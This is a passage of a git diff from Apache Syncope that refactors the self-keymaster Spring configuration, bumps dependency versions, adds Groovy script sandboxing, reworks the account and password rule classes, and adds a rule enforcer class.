org.springframework.core.env.Environment; import org.springframework.core.type.AnnotatedTypeMetadata; @EnableConfigurationProperties(KeymasterProperties.class) @Configuration(proxyBeanMethods = false) @AutoConfigureBefore(WebSecurityContext.class) +@Conditional(SelfKeymasterCondition.class) public class SelfKeymasterContext { + private static final Logger LOG = LoggerFactory.getLogger(SelfKeymasterContext.class); + private static final Pattern HTTP = Pattern.compile("^http.+"); static class SelfKeymasterCondition extends SpringBootCondition { @@ -91,38 +116,110 @@ public ConditionOutcome getMatchOutcome(final ConditionContext context, final An } } - @Conditional(SelfKeymasterCondition.class) @Bean public Server selfKeymasterContainer( + final DomainHolder domainHolder, + final ConfParamService confParamService, + final NetworkServiceService networkServiceService, + final DomainService domainService, final JacksonJsonProvider jsonProvider, - final ApplicationContext ctx, - final Bus bus) { + final GZIPInInterceptor gzipInInterceptor, + final GZIPOutInterceptor gzipOutInterceptor, + final JAXRSBeanValidationInInterceptor validationInInterceptor, + final RestServiceExceptionMapper restServiceExceptionMapper, + final Bus bus, + final Environment env) { SpringJAXRSServerFactoryBean selfKeymasterContainer = new SpringJAXRSServerFactoryBean(); selfKeymasterContainer.setBus(bus); selfKeymasterContainer.setAddress("/keymaster"); selfKeymasterContainer.setStaticSubresourceResolution(true); - selfKeymasterContainer.setBasePackages(List.of( - "org.apache.syncope.common.keymaster.rest.api.service", - "org.apache.syncope.core.keymaster.rest.cxf.service")); + selfKeymasterContainer.setProperties(Map.of("convert.wadl.resources.to.dom", "false")); - selfKeymasterContainer.setInInterceptors(List.of( - ctx.getBean(GZIPInInterceptor.class), - ctx.getBean(JAXRSBeanValidationInInterceptor.class))); + selfKeymasterContainer.setServiceBeans(List.of(confParamService, networkServiceService, domainService)); + + selfKeymasterContainer.setInInterceptors(List.of(gzipInInterceptor, validationInInterceptor)); + + selfKeymasterContainer.setOutInterceptors(List.of(gzipOutInterceptor)); + + selfKeymasterContainer.setProviders(List.of(restServiceExceptionMapper, jsonProvider)); + + // OpenAPI + JavaDocProvider javaDocProvider = JavaDocUtils.getJavaDocURLs(). + map(JavaDocProvider::new). + orElseGet(() -> JavaDocUtils.getJavaDocPaths(env). + map(javaDocPaths -> { + try { + return new JavaDocProvider(javaDocPaths); + } catch (Exception e) { + LOG.error("Could not set javadoc paths from {}", List.of(javaDocPaths), e); + return null; + } + }). + orElse(null)); + OpenApiCustomizer openApiCustomizer = new OpenApiCustomizer() { + + @Override + public OpenAPIConfiguration customize(final OpenAPIConfiguration configuration) { + super.customize(configuration); + + MessageContext ctx = JAXRSUtils.createContextValue( + JAXRSUtils.getCurrentMessage(), null, MessageContext.class); + + String url = StringUtils.substringBeforeLast(ctx.getUriInfo().getRequestUri().getRawPath(), "/"); + configuration.getOpenAPI().setServers(List.of(new io.swagger.v3.oas.models.servers.Server().url(url))); + + return configuration; + } + + @Override + protected void addParameters(final List parameters) { + Optional domainHeaderParameter = parameters.stream(). + filter(p -> p instanceof HeaderParameter && RESTHeaders.DOMAIN.equals(p.getName())).findFirst(); + if (domainHeaderParameter.isEmpty()) { + HeaderParameter parameter = new HeaderParameter(); + parameter.setName(RESTHeaders.DOMAIN); + parameter.setRequired(true); - selfKeymasterContainer.setOutInterceptors(List.of( - ctx.getBean(GZIPOutInterceptor.class))); + ExternalDocumentation extDoc = new ExternalDocumentation(); + extDoc.setDescription("Apache Syncope Reference Guide"); + extDoc.setUrl("https://syncope.apache.org/docs/3.0/reference-guide.html#domains"); - selfKeymasterContainer.setProviders(List.of( - ctx.getBean(RestServiceExceptionMapper.class), - jsonProvider)); + Schema schema = new Schema<>(); + schema.setDescription("Domains are built to facilitate multitenancy."); + schema.setExternalDocs(extDoc); + schema.setEnum(domainHolder.getDomains().keySet().stream().sorted().collect(Collectors.toList())); + schema.setDefault(SyncopeConstants.MASTER_DOMAIN); + parameter.setSchema(schema); + + parameters.add(parameter); + } + } + }; + openApiCustomizer.setDynamicBasePath(false); + openApiCustomizer.setReplaceTags(false); + openApiCustomizer.setJavadocProvider(javaDocProvider); + + String version = env.getProperty("version"); + OpenApiFeature openapiFeature = new OpenApiFeature(); + openapiFeature.setUseContextBasedConfig(true); + openapiFeature.setTitle("Apache Syncope Self Keymaster"); + openapiFeature.setVersion(version); + openapiFeature.setDescription("Apache Syncope Self Keymaster" + version); + openapiFeature.setContactName("The Apache Syncope community"); + openapiFeature.setContactEmail("dev@syncope.apache.org"); + openapiFeature.setContactUrl("https://syncope.apache.org"); + openapiFeature.setScan(false); + openapiFeature.setResourcePackages(Set.of("org.apache.syncope.common.keymaster.rest.api.service")); + openapiFeature.setSecurityDefinitions( + Map.of("BasicAuthentication", new SecurityScheme().type(SecurityScheme.Type.HTTP).scheme("basic"))); + openapiFeature.setCustomizer(openApiCustomizer); + selfKeymasterContainer.setFeatures(List.of(openapiFeature)); - selfKeymasterContainer.setApplicationContext(ctx); return selfKeymasterContainer.create(); } - @Conditional(SelfKeymasterCondition.class) @Bean public UsernamePasswordAuthenticationProvider usernamePasswordAuthenticationProvider( final DomainOps domainOps, @@ -141,13 +238,19 @@ public UsernamePasswordAuthenticationProvider usernamePasswordAuthenticationProv keymasterProperties); } - @Conditional(SelfKeymasterCondition.class) @Bean - public ConfParamOps internalConfParamOps(final ConfParamLogic confParamLogic, final KeymasterProperties props) { - return new SelfKeymasterInternalConfParamOps(confParamLogic, props); + public InternalConfParamHelper internalConfParamHelper( + final ConfParamDAO confParamDAO, + final SelfKeymasterEntityFactory entityFactory) { + + return new InternalConfParamHelper(confParamDAO, entityFactory); + } + + @Bean + public ConfParamOps internalConfParamOps(final InternalConfParamHelper helper) { + return new SelfKeymasterInternalConfParamOps(helper); } - @Conditional(SelfKeymasterCondition.class) @Bean public ServiceOps internalServiceOps( final NetworkServiceLogic networkServiceLogic, @@ -156,22 +259,16 @@ public ServiceOps internalServiceOps( return new SelfKeymasterInternalServiceOps(networkServiceLogic, props); } - @Conditional(SelfKeymasterCondition.class) @Bean public DomainOps domainOps(final DomainLogic domainLogic, final KeymasterProperties props) { return new SelfKeymasterInternalDomainOps(domainLogic, props); } - @ConditionalOnMissingBean @Bean - public ConfParamLogic confParamLogic( - final ConfParamDAO confParamDAO, - final SelfKeymasterEntityFactory selfKeymasterEntityFactory) { - - return new ConfParamLogic(confParamDAO, selfKeymasterEntityFactory); + public ConfParamLogic confParamLogic(final InternalConfParamHelper helper) { + return new ConfParamLogic(helper); } - @ConditionalOnMissingBean @Bean public DomainLogic domainLogic( final DomainDAO domainDAO, @@ -181,7 +278,6 @@ public DomainLogic domainLogic( return new DomainLogic(domainDAO, selfKeymasterEntityFactory, domainWatcher); } - @ConditionalOnMissingBean @Bean public NetworkServiceLogic networkServiceLogic( final NetworkServiceDAO serviceDAO, @@ -190,43 +286,36 @@ public NetworkServiceLogic networkServiceLogic( return new NetworkServiceLogic(serviceDAO, selfKeymasterEntityFactory); } - @ConditionalOnMissingBean @Bean public SelfKeymasterEntityFactory selfKeymasterEntityFactory() { return new JPASelfKeymasterEntityFactory(); } - @ConditionalOnMissingBean @Bean public ConfParamDAO confParamDAO() { return new JPAConfParamDAO(); } - @ConditionalOnMissingBean @Bean public DomainDAO domainDAO() { return new JPADomainDAO(); } - @ConditionalOnMissingBean @Bean public NetworkServiceDAO networkServiceDAO() { return new JPANetworkServiceDAO(); } - @ConditionalOnMissingBean @Bean public ConfParamService confParamService(final ConfParamLogic confParamLogic) { return new ConfParamServiceImpl(confParamLogic); } - @ConditionalOnMissingBean @Bean public DomainService domainService(final DomainLogic domainLogic) { return new DomainServiceImpl(domainLogic); } - @ConditionalOnMissingBean @Bean public NetworkServiceService networkServiceService(final NetworkServiceLogic networkServiceLogic) { return new NetworkServiceServiceImpl(networkServiceLogic); diff --git a/core/self-keymaster-starter/src/test/resources/core-debug.properties b/core/self-keymaster-starter/src/test/resources/core-debug.properties new file mode 100644 index 00000000000..7425b3bb200 --- /dev/null +++ b/core/self-keymaster-starter/src/test/resources/core-debug.properties @@ -0,0 +1,50 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +server.port=9080 +service.discovery.address=http://localhost:9080/syncope/rest/ + +logging.config=file://${project.build.testOutputDirectory}/log4j2.xml + +management.endpoints.web.exposure.include=health,info,beans,env,loggers,entityCache + +keymaster.address=http://localhost:9080/syncope/rest/keymaster +keymaster.username=${anonymousUser} +keymaster.password=${anonymousKey} + +# H2 +spring.h2.console.enabled=true +spring.h2.console.path=/h2 + +security.adminUser=${adminUser} +security.anonymousUser=${anonymousUser} +security.jwsKey=${jwsKey} +security.aesSecretKey=${secretKey} + +persistence.domain[0].key=Master +persistence.domain[0].jdbcDriver=org.h2.Driver +persistence.domain[0].jdbcURL=jdbc:h2:mem:syncopedb;DB_CLOSE_DELAY=-1 +persistence.domain[0].dbUsername=sa +persistence.domain[0].dbPassword= +persistence.domain[0].databasePlatform=org.apache.openjpa.jdbc.sql.H2Dictionary +persistence.domain[0].auditSql=audit.sql +persistence.domain[0].poolMaxActive=20 +persistence.domain[0].poolMinIdle=5 + +provisioning.quartz.delegate=org.quartz.impl.jdbcjobstore.StdJDBCDelegate +provisioning.quartz.sql=tables_h2.sql +provisioning.quartz.waitForJobsToCompleteOnShutdown=false diff --git a/core/self-keymaster-starter/src/test/resources/log4j2.xml b/core/self-keymaster-starter/src/test/resources/log4j2.xml new file mode 100644 index 00000000000..91ab9b66115 --- /dev/null +++ b/core/self-keymaster-starter/src/test/resources/log4j2.xml @@ -0,0 +1,130 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/core/spring/pom.xml b/core/spring/pom.xml index e374f4f939b..e9beab13a6b 100644 --- a/core/spring/pom.xml +++ b/core/spring/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Spring @@ -76,8 +76,8 @@ under the License. - org.apache.groovy - groovy + org.aspectj + aspectjweaver @@ -85,6 +85,11 @@ under the License. java-uuid-generator + + com.github.ben-manes.caffeine + caffeine + + org.apache.syncope.core syncope-core-provisioning-api @@ -117,11 +122,21 @@ under the License. spring-test test + + org.mockito + mockito-inline + test + org.junit.jupiter junit-jupiter test + + org.mockito + mockito-junit-jupiter + test + diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java new file mode 100644 index 00000000000..ece31ad6119 --- /dev/null +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java @@ -0,0 +1,52 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.implementation; + +import org.aspectj.lang.ProceedingJoinPoint; +import org.aspectj.lang.annotation.Around; +import org.aspectj.lang.annotation.Aspect; +import org.jenkinsci.plugins.scriptsecurity.sandbox.Whitelist; +import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor; +import org.kohsuke.groovy.sandbox.GroovyInterceptor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +@Aspect +public class GroovySandbox { + + protected static final Logger LOG = LoggerFactory.getLogger(GroovySandbox.class); + + protected final Whitelist whitelist; + + public GroovySandbox(final Whitelist whitelist) { + this.whitelist = whitelist; + } + + @Around("execution(* *(..))") + public Object around(final ProceedingJoinPoint joinPoint) throws Throwable { + GroovyInterceptor interceptor = new SandboxInterceptor(whitelist); + try { + interceptor.register(); + + return joinPoint.proceed(); + } finally { + interceptor.unregister(); + } + } +} diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java index ea8e1455a3c..24a216caaf9 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.spring.implementation; +import groovy.grape.GrabAnnotationTransformation; import groovy.lang.GroovyClassLoader; import java.lang.reflect.Modifier; import java.lang.reflect.ParameterizedType; @@ -26,6 +27,7 @@ import java.util.HashMap; import java.util.Map; import java.util.Optional; +import java.util.Set; import java.util.function.Consumer; import java.util.function.Supplier; import org.apache.commons.lang3.tuple.Pair; @@ -34,45 +36,64 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; +import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.spring.ApplicationContextProvider; -import org.springframework.beans.factory.support.AbstractBeanDefinition; +import org.codehaus.groovy.control.CompilerConfiguration; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; +import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.RejectASTTransformsCustomizer; +import org.kohsuke.groovy.sandbox.SandboxTransformer; +import org.springframework.aop.aspectj.annotation.AspectJProxyFactory; public final class ImplementationManager { - private static final GroovyClassLoader GROOVY_CLASSLOADER = new GroovyClassLoader(); + private static final GroovyClassLoader GROOVY_CLASSLOADER; private static final Map> CLASS_CACHE = Collections.synchronizedMap(new HashMap<>()); - public static Optional buildReportlet(final Implementation impl) throws ClassNotFoundException { + static { + CompilerConfiguration cc = new CompilerConfiguration(); + cc.addCompilationCustomizers(new RejectASTTransformsCustomizer(), new SandboxTransformer()); + cc.setDisabledGlobalASTTransformations(Set.of(GrabAnnotationTransformation.class.getName())); + + GROOVY_CLASSLOADER = new GroovyClassLoader(Thread.currentThread().getContextClassLoader(), cc); + } + + @SuppressWarnings("unchecked") + public static Optional buildReportJobDelegate( + final Implementation impl, + final Supplier cacheGetter, + final Consumer cachePutter) + throws ClassNotFoundException { + switch (impl.getEngine()) { case GROOVY: - return Optional.of(build(impl)); + return Optional.of(build(impl, cacheGetter, cachePutter)); case JAVA: default: - ReportletConf conf = POJOHelper.deserialize(impl.getBody(), ReportletConf.class); - Class clazz = ApplicationContextProvider.getApplicationContext(). - getBean(ImplementationLookup.class).getReportletClass(conf.getClass()); + ReportConf conf = POJOHelper.deserialize(impl.getBody(), ReportConf.class); + Class clazz = + (Class) ApplicationContextProvider.getApplicationContext(). + getBean(ImplementationLookup.class).getReportClass(conf.getClass()); if (clazz == null) { return Optional.empty(); } - Reportlet reportlet = (Reportlet) ApplicationContextProvider.getBeanFactory(). - createBean(clazz, AbstractBeanDefinition.AUTOWIRE_BY_TYPE, false); - reportlet.setConf(conf); - return Optional.of(reportlet); + ReportJobDelegate report = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); + report.setConf(conf); + return Optional.of(report); } } @@ -97,7 +118,7 @@ public static Optional buildAccountRule( return Optional.empty(); } - AccountRule rule = build(clazz, true, cacheGetter, cachePutter); + AccountRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -124,7 +145,7 @@ public static Optional buildPasswordRule( return Optional.empty(); } - PasswordRule rule = build(clazz, true, cacheGetter, cachePutter); + PasswordRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -152,7 +173,7 @@ public static Optional buildPullCorrelationRule( return Optional.empty(); } - PullCorrelationRule rule = build(clazz, true, cacheGetter, cachePutter); + PullCorrelationRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -180,13 +201,13 @@ public static Optional buildPushCorrelationRule( return Optional.empty(); } - PushCorrelationRule rule = build(clazz, true, cacheGetter, cachePutter); + PushCorrelationRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } } - @SuppressWarnings("unchecked") + @SuppressWarnings({ "unchecked", "rawtypes" }) private static Class findCommandArgsClass(final Type type) { if (type.getTypeName().startsWith( ImplementationTypesHolder.getInstance().getValues().get(IdRepoImplementationType.COMMAND) + "<")) { @@ -246,16 +267,27 @@ private static Pair, Boolean> getClass(final Implementation impl) t return Pair.of((Class) clazz, false); } + private static T createBean(final Class clazz, final ImplementationEngine engine) { + T bean = ApplicationContextProvider.getBeanFactory().createBean(clazz); + if (engine == ImplementationEngine.GROOVY) { + AspectJProxyFactory factory = new AspectJProxyFactory(bean); + factory.addAspect(new GroovySandbox( + ApplicationContextProvider.getApplicationContext().getBean(Blacklist.class))); + bean = factory.getProxy(); + } + return bean; + } + @SuppressWarnings("unchecked") public static T build(final Implementation impl) throws ClassNotFoundException { - return (T) ApplicationContextProvider.getBeanFactory(). - createBean(getClass(impl).getLeft(), AbstractBeanDefinition.AUTOWIRE_BY_TYPE, false); + return createBean((Class) getClass(impl).getLeft(), impl.getEngine()); } @SuppressWarnings("unchecked") private static T build( final Class clazz, final boolean classCached, + final ImplementationEngine engine, final Supplier cacheGetter, final Consumer cachePutter) { @@ -267,8 +299,7 @@ private static T build( instance = cacheGetter.get(); } if (instance == null) { - instance = (T) ApplicationContextProvider.getBeanFactory(). - createBean(clazz, AbstractBeanDefinition.AUTOWIRE_BY_TYPE, false); + instance = createBean(clazz, engine); if (perContext) { cachePutter.accept(instance); @@ -283,7 +314,7 @@ public static T build(final Implementation impl, final Supplier cacheGett Pair, Boolean> clazz = getClass(impl); - return build(clazz.getLeft(), clazz.getRight(), cacheGetter, cachePutter); + return build(clazz.getLeft(), clazz.getRight(), impl.getEngine(), cacheGetter, cachePutter); } public static Class purge(final String implementation) { diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java index 90114b9222d..0cb4b1e7b95 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java @@ -20,18 +20,19 @@ import java.util.Collection; import java.util.HashSet; -import java.util.Optional; +import java.util.Objects; import java.util.Set; import java.util.regex.Pattern; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.policy.AccountRuleConf; import org.apache.syncope.common.lib.policy.DefaultAccountRuleConf; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.AccountRuleConfClass; import org.apache.syncope.core.persistence.api.entity.Entity; +import org.apache.syncope.core.persistence.api.entity.PlainAttr; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.AccountRuleConfClass; import org.springframework.transaction.annotation.Transactional; import org.springframework.util.CollectionUtils; @@ -97,15 +98,21 @@ protected void enforce(final String username, final Set wordsNotPermitte }); } + @Override + public void enforce(final String username) { + Set wordsNotPermitted = new HashSet<>(conf.getWordsNotPermitted()); + enforce(username, wordsNotPermitted); + } + @Transactional(readOnly = true) @Override public void enforce(final User user) { Set wordsNotPermitted = new HashSet<>(conf.getWordsNotPermitted()); wordsNotPermitted.addAll( conf.getSchemasNotPermitted().stream(). - map(user::getPlainAttr). - filter(Optional::isPresent). - map(attr -> attr.get().getValuesAsStrings()). + map(schema -> user.getPlainAttr(schema). + map(PlainAttr::getValuesAsStrings).orElse(null)). + filter(Objects::nonNull). filter(values -> !CollectionUtils.isEmpty(values)). flatMap(Collection::stream). collect(Collectors.toSet())); @@ -123,9 +130,9 @@ public void enforce(final LinkedAccount account) { Set wordsNotPermitted = new HashSet<>(conf.getWordsNotPermitted()); wordsNotPermitted.addAll( conf.getSchemasNotPermitted().stream(). - map(account::getPlainAttr). - filter(Optional::isPresent). - map(attr -> attr.get().getValuesAsStrings()). + map(schema -> account.getPlainAttr(schema). + map(PlainAttr::getValuesAsStrings).orElse(null)). + filter(Objects::nonNull). filter(values -> !CollectionUtils.isEmpty(values)). flatMap(Collection::stream). collect(Collectors.toSet())); diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java index b8c2de24fe4..224b2f46b4e 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java @@ -23,7 +23,7 @@ import java.util.Collection; import java.util.HashSet; import java.util.List; -import java.util.Optional; +import java.util.Objects; import java.util.Properties; import java.util.Set; import java.util.stream.Collectors; @@ -31,10 +31,11 @@ import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; import org.apache.syncope.common.lib.policy.PasswordRuleConf; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRuleConfClass; +import org.apache.syncope.core.persistence.api.entity.PlainAttr; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRuleConfClass; import org.apache.syncope.core.spring.security.Encryptor; import org.passay.CharacterData; import org.passay.CharacterRule; @@ -58,8 +59,6 @@ public class DefaultPasswordRule implements PasswordRule { protected static final Logger LOG = LoggerFactory.getLogger(DefaultPasswordRule.class); - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - public static List conf2Rules(final DefaultPasswordRuleConf conf) { List rules = new ArrayList<>(); @@ -162,21 +161,29 @@ protected void enforce(final String clear, final String username, final Set wordsNotPermitted = new HashSet<>(conf.getWordsNotPermitted()); + enforce(clearPassword, username, wordsNotPermitted); + } + } + @Transactional(readOnly = true) @Override - public void enforce(final User user) { - if (user.getPassword() != null && user.getClearPassword() != null) { + public void enforce(final User user, final String clearPassword) { + if (clearPassword != null) { Set wordsNotPermitted = new HashSet<>(conf.getWordsNotPermitted()); wordsNotPermitted.addAll( conf.getSchemasNotPermitted().stream(). - map(user::getPlainAttr). - filter(Optional::isPresent). - map(attr -> attr.get().getValuesAsStrings()). + map(schema -> user.getPlainAttr(schema). + map(PlainAttr::getValuesAsStrings).orElse(null)). + filter(Objects::nonNull). filter(values -> !CollectionUtils.isEmpty(values)). flatMap(Collection::stream). collect(Collectors.toSet())); - enforce(user.getClearPassword(), user.getUsername(), wordsNotPermitted); + enforce(clearPassword, user.getUsername(), wordsNotPermitted); } } @@ -185,9 +192,9 @@ public void enforce(final User user) { public void enforce(final LinkedAccount account) { conf.getWordsNotPermitted().addAll( conf.getSchemasNotPermitted().stream(). - map(account::getPlainAttr). - filter(Optional::isPresent). - map(attr -> attr.get().getValuesAsStrings()). + map(schema -> account.getPlainAttr(schema). + map(PlainAttr::getValuesAsStrings).orElse(null)). + filter(Objects::nonNull). filter(values -> !CollectionUtils.isEmpty(values)). flatMap(Collection::stream). collect(Collectors.toList())); @@ -196,7 +203,7 @@ public void enforce(final LinkedAccount account) { String clear = null; if (account.canDecodeSecrets()) { try { - clear = ENCRYPTOR.decode(account.getPassword(), account.getCipherAlgorithm()); + clear = Encryptor.getInstance().decode(account.getPassword(), account.getCipherAlgorithm()); } catch (Exception e) { LOG.error("Could not decode password for {}", account, e); } @@ -206,9 +213,9 @@ public void enforce(final LinkedAccount account) { Set wordsNotPermitted = new HashSet<>(conf.getWordsNotPermitted()); wordsNotPermitted.addAll( conf.getSchemasNotPermitted().stream(). - map(account::getPlainAttr). - filter(Optional::isPresent). - map(attr -> attr.get().getValuesAsStrings()). + map(schema -> account.getPlainAttr(schema). + map(PlainAttr::getValuesAsStrings).orElse(null)). + filter(Objects::nonNull). filter(values -> !CollectionUtils.isEmpty(values)). flatMap(Collection::stream). collect(Collectors.toSet())); diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultRuleEnforcer.java b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultRuleEnforcer.java new file mode 100644 index 00000000000..4a8e925de57 --- /dev/null +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultRuleEnforcer.java @@ -0,0 +1,136 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.policy; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; +import org.apache.syncope.core.spring.implementation.ImplementationManager; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.transaction.annotation.Transactional; + +public class DefaultRuleEnforcer implements RuleEnforcer { + + protected static final Logger LOG = LoggerFactory.getLogger(RuleEnforcer.class); + + protected final RealmDAO realmDAO; + + protected final Map perContextAccountRules = new ConcurrentHashMap<>(); + + protected final Map perContextPasswordRules = new ConcurrentHashMap<>(); + + public DefaultRuleEnforcer(final RealmDAO realmDAO) { + this.realmDAO = realmDAO; + } + + @Transactional(readOnly = true) + @Override + public List getAccountPolicies(final Realm realm, final Collection resources) { + List policies = new ArrayList<>(); + + // add resource policies + resources.forEach(resource -> Optional.ofNullable(resource.getAccountPolicy()). + filter(p -> !policies.contains(p)). + ifPresent(policies::add)); + + // add realm policies + if (realm != null) { + realmDAO.findAncestors(realm). + forEach(r -> Optional.ofNullable(r.getAccountPolicy()). + filter(p -> !policies.contains(p)). + ifPresent(policies::add)); + } + + return policies; + } + + @Transactional(readOnly = true) + @Override + public List getAccountRules(final AccountPolicy policy) { + List result = new ArrayList<>(); + + for (Implementation impl : policy.getRules()) { + try { + ImplementationManager.buildAccountRule( + impl, + () -> perContextAccountRules.get(impl.getKey()), + instance -> perContextAccountRules.put(impl.getKey(), instance)). + ifPresent(result::add); + } catch (Exception e) { + LOG.warn("While building {}", impl, e); + } + } + + return result; + } + + @Transactional(readOnly = true) + @Override + public List getPasswordPolicies(final Realm realm, final Collection resources) { + List policies = new ArrayList<>(); + + // add resource policies + resources.forEach(resource -> Optional.ofNullable(resource.getPasswordPolicy()). + filter(p -> !policies.contains(p)). + ifPresent(policies::add)); + + // add realm policies + if (realm != null) { + realmDAO.findAncestors(realm). + forEach(r -> Optional.ofNullable(r.getPasswordPolicy()). + filter(p -> !policies.contains(p)). + ifPresent(policies::add)); + } + + return policies; + } + + @Transactional(readOnly = true) + @Override + public List getPasswordRules(final PasswordPolicy policy) { + List result = new ArrayList<>(); + + for (Implementation impl : policy.getRules()) { + try { + 